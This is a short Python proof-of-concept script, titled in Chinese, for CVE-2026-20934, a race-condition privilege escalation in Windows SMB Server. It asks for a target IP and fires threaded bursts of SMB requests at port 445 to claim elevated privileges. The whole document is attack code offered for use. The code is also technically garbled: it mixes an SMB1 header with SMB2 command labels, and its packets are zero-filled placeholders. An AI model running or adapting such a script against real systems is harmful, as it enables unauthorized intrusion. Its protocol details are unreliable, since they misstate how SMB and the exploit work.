CVE-2026-20934 Windows SMB Server 竞态条件权限提升漏洞

# CVE-2026-20934 PoC - Race Condition in Windows SMB Server # This is a conceptual PoC demonstrating the race condition attack import socket import threading import time def send_smb_request(sock, request_type, payload): """Send SMB request with specific payload""" smb_header = b'\xffSMB' # SMB protocol header command = request_type # Construct SMB request packet packet = smb_header + bytes([command]) + payload sock.send(packet) return sock.recv(1024) def race_condition_attack(target_ip, target_port=445): """ Race condition exploit for CVE-2026-20934 Attack timeline: 1. Authenticate with low-privilege account 2. Send concurrent requests during privilege check window 3. Exploit timing to bypass authorization """ results = [] # Step 1: Establish SMB connection with low-privilege account sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock1.connect((target_ip, target_port)) # Step 2: Send initial authentication request auth_request = b'\x00' * 32 # Simplified auth packet send_smb_request(sock1, 0x73, auth_request) # SMB2 SESSION_SETUP # Step 3: Launch race condition with concurrent threads def trigger_race(thread_id): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # Rapid-fire requests during privilege check window for i in range(10): # Crafted request to manipulate shared resource state crafted_payload = b'\x00' * 32 + bytes([thread_id, i]) response = send_smb_request(sock, 0x09, crafted_payload) # SMB2 CREATE results.append(response) time.sleep(0.001) # 1ms interval for race window sock.close() # Launch multiple threads to increase race condition probability threads = [] for i in range(5): t = threading.Thread(target=trigger_race, args=(i,)) threads.append(t) t.start() # Step 4: Wait for race condition to trigger time.sleep(0.5) # Step 5: Attempt privileged operation privileged_request = b'\x01\x00\x00\x00' # Request admin privileges final_response = send_smb_request(sock1, 0x18, privileged_request) # SMB2 TREE_CONNECT # Check if privilege escalation succeeded if b'\x00\x00\x00\x00' in final_response: print('[+] Race condition exploited successfully!') print('[+] Elevated privileges obtained') else: print('[-] Exploitation failed, retry with adjusted timing') # Cleanup for t in threads: t.join() sock1.close() if __name__ == '__main__': print('CVE-2026-20934 Windows SMB Server Race Condition PoC') target = input('Enter target IP: ') race_condition_attack(target)